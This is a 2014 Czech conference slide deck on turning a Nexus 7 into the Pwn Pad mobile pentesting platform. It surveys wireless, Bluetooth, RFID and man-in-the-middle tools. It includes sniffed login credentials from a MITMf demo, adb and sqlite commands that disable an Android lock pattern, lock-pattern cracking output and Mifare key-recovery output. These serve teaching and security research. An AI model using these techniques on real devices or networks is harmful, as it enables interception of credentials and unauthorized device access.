

Nexus 7 – Kali Linux

Network hacking

infinity
CTJB 2014

root@PwnPad:~# whoami

- infinity
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- správce sítě
- Mendelova univerzita v Brně
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- github.com/vavkamil

Presentation Transcript

xexexe

Presentation Transcript

Defensive

- xexexe

Offensive

- xerexexe

Evolution




Evolution



Evolution



Evolution



RFID ~ Mifare Classic



Instalace

- <https://www.pwnieexpress.com/community/>

Pwn Phone 2014 (using Nexus 5)

- *Download Pwn Phone 2014 (for 16GB/32GB Nexus 5 phones)*

Pwn Pad 2014 (using the Nexus 7 2013 tablet)

- *Download Pwn Pad 2014 (for 2013 edition Nexus 7 tablets)*

Pwn Pad 2013 (using the Nexus 7 2012 tablet)

- *Download Pwn Pad 2013 (for 2012 edition Nexus 7 tablets)*

Instalace

```
infinity@desktop:~$ tar xvf pwnpad-2013_image.tar.xz
infinity@desktop:~$ cd pwnie_img/
infinity@desktop:~/pwnie_img$ sudo chmod +x imagev2.sh
infinity@desktop:~/pwnie_img$ sudo adb start-server
* daemon not running. starting it now on port 5037 *
* daemon started successfully *
infinity@desktop:~/pwnie_img$ sudo ./imagev2.sh
```

- Fastboot Android utilities are required to flash the PwnPad image onto the Nexus7
- android-tools-adb android-tools-fastboot
-
- Would you like to automatically install the required tools? (Ubuntu 12.04 only)
-
- 1. Yes
- 2. No
-
- Choice: 2
- Not installing fastboot and adb tools

Instalace

Which Nexus 7 (2012 HW) would you like to install the PwnPad onto?

- 1. 8GB
- 2. 16GB
- 3. 32GB Wifi
- 4. 32GB Wifi + GSM
-
- Choice (1-4): 2

Instalace

=== Pwn Pad 2014 Installer ===

A Mobile Pentesting platform by PwnieExpress.com

WARNING: THIS WILL WIPE ALL DATA ON THE DEVICE!

Pwnie Express is not responsible for data loss resulting from the use of this installer. Backup critical data before continuing!

Press ENTER to continue, CTRL+C to abort.

Boot the device into fastboot mode (hold power and volume down).

Attach the device via USB once in fastboot mode.

Press [Enter] key to continue...

Instalace

[+] Unlock the device

...

(bootloader) Bootloader is already unlocked

OKAY [0.020s]

finished. total time: 0.020s

[+] Flash the recovery partition with TWRP recovery image

sending 'recovery' (8106 KB)...

OKAY [8.655s]

writing 'recovery'...

OKAY [2.563s]

finished. total time: 11.218s

Instalace

[+] Erase the boot partition

erasing 'boot'...

OKAY [0.026s]

finished. total time: 0.026s

[+] Flash the boot partition with Pwn Pad boot image

sending 'boot' (4898 KB)...

OKAY [5.211s]

writing 'boot'...

OKAY [0.322s]

finished. total time: 5.533s

Instalace

[+] Erase and format system partition

***** Did you mean to fastboot format this partition?

erasing 'system'...

OKAY [0.307s]

finished. total time: 0.307s

erasing 'system'...

OKAY [0.107s]

formatting 'system' partition...

Creating filesystem with parameters:

Size: 681574400

Block size: 4096

Blocks per group: 32768

Inodes per group: 6944

Inode size: 256

Journal blocks: 2600

Label:

Blocks: 166400

Block groups: 6

Reserved block group size: 47

Created filesystem with 11/41664 inodes and 5415/166400 blocks

sending 'system' (12416 KB)...

writing 'system'...

OKAY [13.989s]

finished. total time: 14.097s

Instalace

[+] Erase & format the user data partition

***** Did you mean to fastboot format this partition?

erasing 'userdata'...

OKAY [11.318s]

finished. total time: 11.318s

erasing 'userdata'...

OKAY [2.311s]

formatting 'userdata' partition...

Creating filesystem with parameters:

Size: 14569963520

Block size: 4096

Blocks per group: 32768

Inodes per group: 8160

Inode size: 256

Journal blocks: 32768

Label:

Blocks: 3557120

Block groups: 109

Reserved block group size: 871

Created filesystem with 11/889440 inodes and 97309/3557120 blocks

sending 'userdata' (137563 KB)...

writing 'userdata'...

OKAY [158.601s]

finished. total time: 160.912s

Instalace

[+] Booting into TWRP Recovery

downloading 'boot.img'...

OKAY [8.645s]

booting...

OKAY [0.019s]

finished. total time: 8.664s

Current serial number of connected Nexus is: 015d49069c53fa09

Pushing TWRP backup to be restored to device...


Instalace

Rebooting recovery....

Restoring PwnPad image....Please wait for device to reboot.

DO NOT INTERRUPT THE PROCESS ON THE DEVICE,
TWRP WILL DISPLAY RESTORE COMPLETE BUT
PROCESS WILL NOT BE FINISHED UNTIL IT REBOOTS
ON ITS OWN

Kismet



more_stuff



What's the WiFi Password ?



Phishing




Hacking




Výchozí prostředí



Výchozí prostředí




Výchozí prostředí




Výchozí prostředí



Výchozí prostředí



Výchozí prostředí



Alfa




Alfa2



Závody ve zbrojení


Android - Privacy applications

- Cryptonite ~ open-source file encryption




Android - Privacy applications

- Orbot ~ Proxy with Tor




Android - Privacy applications

- Orweb ~ Private Web Browser




Android - File Browsers

- ES File Explorer ~ File Manager



Android - File Browsers

- Root Browser ~ the ultimate file manager for rooted users



Android - Network Tools

- Fing ~ Network Tools



Android - Network Tools

- JuiceSSH ~ SSH Client



The advertisement for JuiceSSH features a dark background. On the left, a tablet displays the app's terminal interface with a list of server connections and a pop-up keyboard. To the right of the tablet, the text 'JuiceSSH' is written in a large, white, sans-serif font, with 'SSH CLIENT FOR ANDROID' in a smaller, white, sans-serif font below it. Further right is a realistic illustration of a yellow lemon slice. Below the title, four features are listed with yellow asterisks: 'Pop-up keyboard for special keys', 'Tablet & external keyboard support', 'Keep multiple devices in sync with AES-256', and 'Amazon EC2 integration'. At the bottom, the words 'Safe', 'Simple', and 'Secure' are separated by vertical bars.

JuiceSSH

SSH CLIENT FOR ANDROID

- * Pop-up keyboard for special keys
- * Tablet & external keyboard support
- * Keep multiple devices in sync with AES-256
- * Amazon EC2 integration

Safe | Simple | Secure


Android - RFID Tools

- NFC TagInfo ~ NFC tags



Android - RFID Tools

- NFC TagInfo by NXP ~




Android - RFID Tools

- NFC Tag Cloner ~ Clone NFC tags!




Android - Wireless Tools

- Wifi Analyzer ~ Wi-Fi channels around you




Android - Wireless Tools

- Pry-Fi ~ Big Brother is Watching You



Android - Wireless Tools

- Wifi Tracker ~



Android - Wireless Tools

- Wifi Protector ~ Detects and protects from MITM



Android - Wireless Tools

- WiFi Pass Recovery ~ all wireless passwords stored on your device



Android - Wireless Tools

- WiFinspect ~ security audit tool



Android - Other Tools

- Hacker's Keyboard ~



Android - Other Tools

- StickMount ~ Automatically mount and dismount USB



Bluetooth

[09/09/14 11:06:33] Scan started on 00:10:60:D1:85:76

[09/09/14 11:06:38],B8:5E:7B:9D:0D:CD,0x5a020c,Galaxy Note3

[09/09/14 11:06:45],B8:C6:8E:C2:2D:5D,0x5a0204,S5610

[09/09/14 11:06:59],BC:47:60:92:5A:46,0x5a0204,Manicka 1997

[09/09/14 11:07:04],00:1D:98:4C:86:DE,0x5a0204,Hanicka

[09/09/14 11:07:08],E0:A6:70:6E:C9:81,0x5a0204,Nokia 2730
classic

[09/09/14 11:07:13],A0:82:1F:5C:78:4B,0x5a020c,Mrs.Kejtý

[09/09/14 11:07:53],34:C3:AC:91:AE:E2,0x5a0204,C3050

[09/09/14 11:08:05],30:69:4B:CD:BF:8E,0x7a020c,BlackBerry
9700

[09/09/14 11:08:12],A8:44:81:65:01:E2,0x520204,206

Bluetooth

- BD Address: B8:5E:7B:9D:0D:CD [mode 1, clkoffset 0x113c]
- Device name: **Galaxy Note3**
- Device class: Phone, Smart phone (0x5a020c)
- Manufacturer: Broadcom Corporation (15)
-
- BD Address: 0C:A6:94:6B:0F:3A [mode 1, clkoffset 0x125e]
- Device name: **SONY:SRS-X3**
- Device class: Audio/Video, Loudspeaker (0x240414)
-
- BD Address: 78:6A:89:69:4B:7F [mode 1, clkoffset 0x368a]
- Device name: **HUAWEI Y300-0100**
- Device class: Phone, Smart phone (0x58020c)
-
- BD Address: 40:5F:BE:69:10:67 [mode 1, clkoffset 0x53eb]
- Device name: **BlackBerry 9700**
- Device class: Phone, Smart phone (0x7a020c)
- Manufacturer: Cambridge Silicon Radio (10)

MITMf

- <https://github.com/byt3bl33d3r/MITMf>
-
- **Spoof** - Redirect traffic using ARP Spoofing, DNS Spoofing or ICMP Redirects
- **BeEFAutorun** - Autoruns BeEF modules based on clients OS or browser type
- **AppCachePoison** - Perform app cache poison attacks
- **BrowserProfiler** - Attempts to enumerate all browser plugins of connected clients
- **FilePwn** - Backdoor executables being sent over http using bdfactory
- **JavaPwn** - Performs drive-by attacks on clients with out-of-date java browser plugins

MITMf

- package com.kalipwn.mitm;
-
- import android.os.Bundle;
- import android.app.Activity;
- import android.content.Intent;
-
- public class MainActivity extends Activity
- {
- @Override
- protected void onCreate (Bundle savedInstanceState)
- {
- super.onCreate(savedInstanceState);
- Intent i = new Intent("jackpal.androidterm.RUN_SCRIPT");
- i.addCategory(Intent.CATEGORY_DEFAULT);
- i.putExtra("jackpal.androidterm.iInitialCommand", "**su lrbootpwn lrcd /opt/pwnix/pwnpad-scripts/ lrsh /opt/pwnix/pwnpad-scripts/mitmf.sh**");
- startActivity(i);
- finish();
- }
- }

MITMf

- 2014-09-01 07:29:55 192.168.43.5 Sending Request: GET www.seznam.cz
- 2014-09-01 07:29:55 192.168.43.5 Sending Request: GET www.seznam.cz
- 2014-09-01 07:29:55 192.168.43.5 Sending Request: GET www.seznam.cz
- 2014-09-01 07:29:56 192.168.43.5 Sending Request: GET h.imedia.cz
- 2014-09-01 07:30:20 192.168.43.5 SECURE POST Data (login.szn.cz):
 - loggedURL=http%3A%2F%2Femail.seznam.cz&serviceld=email&forceSSL=1&username=**teest1**&domain=**post.cz**&password=**heslo12345**&js=1
- 2014-09-01 07:30:20 192.168.43.5 Sending Request: GET login.seznam.cz
- 2014-09-01 07:30:21 192.168.43.5 Sending Request: GET email.seznam.cz


Apps



Project Bionic Yourself (B10N1C)

- Project Bionic Yourself (B10N1C) is a small implant for your arm that makes you a bionic-superhero. The idea comes from utilizing technology to give you a super ability such as wireless control devices by moving a single finger, sense electromagnetic fields, and even scan RFID keys while all being stored inside your body. While these are a few examples, the possibilities range much further. It's also a user-integrated hacker tool that has the opportunity to change life as we know it.

B10N1C



B10N1C




dangerousthings.com



dangerousthings.com



dangerousthings.com



DAVID FRIEDMAN/GETTY IMAGES/REX

Howto: Unlock Lock Pattern

- `adb shell`
- `cd /data/data/com.android.providers.settings/databases`
- `sqlite3 settings.db`
- `update system set value=0 where name='lock_pattern_autolock';`
- `update system set value=0 where name='lockscreen.lockedoutpermanently';`
- `.quit`

Secure USB Debugging Bypass

- Android 4.4.2 Secure USB Debugging Bypass
- A vulnerability found in Android 4.2.2-4.4.2 allowed attackers to bypass Android's secure USB debugging, this allowed attackers to access adb prior to unlocking the device.
- SoftwareAndroidAffected VersionsAndroid 4.2.2-4.4.2CVE
ReferenceAuthorsHenry Hoggard, MWR Labs
(<https://labs.mwrinfosecurity.com>)SeverityMediumVendorG
oogleVendor ResponseFixed in Android 4.4.3

sch3m4/androidpatternlock

- #####
- # Android Pattern Lock Cracker #
- # v0.1 #
- # ----- #
- # Written by Chema Garcia #
- # <http://safetybits.net> #
- # chema@safetybits.net #
- # @sch3m4 #
- #####

sch3m4/androidpatternlock

- [+] Checking length 3
- [+] Checking length 4
- [+] Checking length 5
- [+] Checking length 6
- [+] Checking length 7
- [+] Checking length 8
- [+] Checking length 9
-
- [:D] The pattern has been FOUND!!! => 210345876

sch3m4/androidpatternlock

- [+] Gesture:

-

- -----

- | 3 | | 2 | | 1 |

- -----

- -----

- | 4 | | 5 | | 6 |

- -----

- -----

- | 9 | | 8 | | 7 |

- -----


sch3m4/androidpatternlock

- Really, the pattern lock is the SHA1 hash sequence of digits (0-8) with length from 3 (4 since Android 2.3.3) to 8.
- Since Android does not allow the pattern to repeat "balls" and it does not use a salt when computing the SHA1 hash, it really takes a very short period of time to crack the hash and get the pattern.

zANTI

- One-click audits under your thumb
- zANTI is a comprehensive network diagnostics toolkit that enables complex audits and penetration tests at the push of a button. It provides cloud-based reporting that walks you through simple guidelines to ensure network safety.

zANTI



RFID cooking

```
root : mfoc
Súbor  Upraviť  Zobrazíť  Záložky  Nastavenie  Pomocník
root@root:~# mfoc -P 500 -O dump
  ATQA (SENS_RES): 00 02
* UID size: single
* bit frame anticollision supported
  UID (NFCID1):
  SAK (SEL_RES): 18
* Not compliant with ISO/IEC 14443-4
* Not compliant with ISO/IEC 18092
Fingerprinting based on ATQA & SAK values:
* Mifare Classic 4K
* SmartMX with Mifare 4K emulation
[Key: ffffffff] -> [.....]
[Key: a0a1a2a3a4a5] -> [.....X.....]
[Key: d3f7d3f7d3f7] -> [.....X.....]
[Key: 000000000000] -> [.....X.....]
[Key: b0b1b2b3b4b5] -> [.....X.....]
[Key: 4d3a99c351dd] -> [.....X.....]
[Key: 1a982c7e459a] -> [.....X.....]
[Key: aabbccddeeff] -> [.....X.....]
[Key: 714c5c886e97] -> [.....X.....]
[Key: 587ee5f9350f] -> [..X...X...X.....]
[Key: a0478cc39091] -> [..X...X...X...X..]
[Key: 533cb6c723f6] -> [X.X...X...X...X..]
[Key: 8fd0a4f256e9] -> [X.X...X...XX..X..]

Sector 00 - FOUND_KEY [A]  Sector 00 - UNKNOWN_KEY [B]
Sector 01 - UNKNOWN_KEY [A]  Sector 01 - UNKNOWN_KEY [B]
Sector 02 - FOUND_KEY [A]  Sector 02 - UNKNOWN_KEY [B]
Sector 03 - UNKNOWN_KEY [A]  Sector 03 - UNKNOWN_KEY [B]
Sector 04 - UNKNOWN_KEY [A]  Sector 04 - UNKNOWN_KEY [B]
Sector 05 - UNKNOWN_KEY [A]  Sector 05 - UNKNOWN_KEY [B]

root : pcscd  root : mfoc
```


Github

<https://github.com/vavkamil/Pwn-Pad-Arsenal-Tools>